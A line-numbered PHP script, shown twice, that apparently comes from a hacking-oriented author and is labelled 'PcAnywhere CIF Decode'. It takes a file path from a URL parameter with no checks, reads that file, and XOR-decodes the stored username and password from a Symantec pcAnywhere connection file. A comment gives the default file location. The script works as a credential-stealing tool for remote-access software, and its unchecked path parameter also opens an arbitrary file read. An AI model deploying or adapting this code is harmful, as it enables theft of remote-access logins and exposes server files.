1. <?php
2. /* ---------------------------------------------------------- */
3. /* PcAnywhere CIF Decode
4. /* QQ:7259561 MSN:cnse8@msn.com
5. /* Blog:http://1v1.name
6. /* ---------------------------------------------------------- */
7. error_reporting(7);
8. Function PcAnywhere($data, $mode)
9. {
10. $Pass=substr($data, 2);
11. $str =0;
12. if ($mode == "Pass")$number=32;
13. if ($mode == "User")$number=64;
14. for ($i=0; $i < $number; $i+=2){
15. if ($mode == "Pass")$Cifnum=($str + 144);
16. if ($mode == "User")$Cifnum=($str + 15);
17. $PassWord=((Hexdec(substr($data, $i, 2)) ^ Hexdec(substr($Pass, $i, 2))) ^ $Cifnum);
18. if (($PassWord <= 32) or ($PassWord > 127))break;
19. $Num.=chr($PassWord);
20. $str++;}
21. return $Num;
22. }
23. $path=$_GET['path'];
24. //"C:/Documents and Settings/All Users/Application Data/Symantec/PcAnywhere/PCA.1v1.name.CIF"
25. $path=str_replace("","//",$path);
26. $str =@file_get_contents($path);
27. $binstr = bin2hex ($str);
28. echo "Path:".$path."<br>";
29. echo "User:". PcAnywhere(substr($binstr,918,64), User)."<br>";
30. echo "Pass:". PcAnywhere(substr($binstr,1176,32), Pass)."<br>";
31. ?>
2. /* ---------------------------------------------------------- */
3. /* PcAnywhere CIF Decode
4. /* QQ:7259561 MSN:cnse8@msn.com
5. /* Blog:http://1v1.name
6. /* ---------------------------------------------------------- */
7. error_reporting(7);
8. Function PcAnywhere($data, $mode)
9. {
10. $Pass=substr($data, 2);
11. $str =0;
12. if ($mode == "Pass")$number=32;
13. if ($mode == "User")$number=64;
14. for ($i=0; $i < $number; $i+=2){
15. if ($mode == "Pass")$Cifnum=($str + 144);
16. if ($mode == "User")$Cifnum=($str + 15);
17. $PassWord=((Hexdec(substr($data, $i, 2)) ^ Hexdec(substr($Pass, $i, 2))) ^ $Cifnum);
18. if (($PassWord <= 32) or ($PassWord > 127))break;
19. $Num.=chr($PassWord);
20. $str++;}
21. return $Num;
22. }
23. $path=$_GET['path'];
24. //"C:/Documents and Settings/All Users/Application Data/Symantec/PcAnywhere/PCA.1v1.name.CIF"
25. $path=str_replace("","//",$path);
26. $str =@file_get_contents($path);
27. $binstr = bin2hex ($str);
28. echo "Path:".$path."<br>";
29. echo "User:". PcAnywhere(substr($binstr,918,64), User)."<br>";
30. echo "Pass:". PcAnywhere(substr($binstr,1176,32), Pass)."<br>";
31. ?>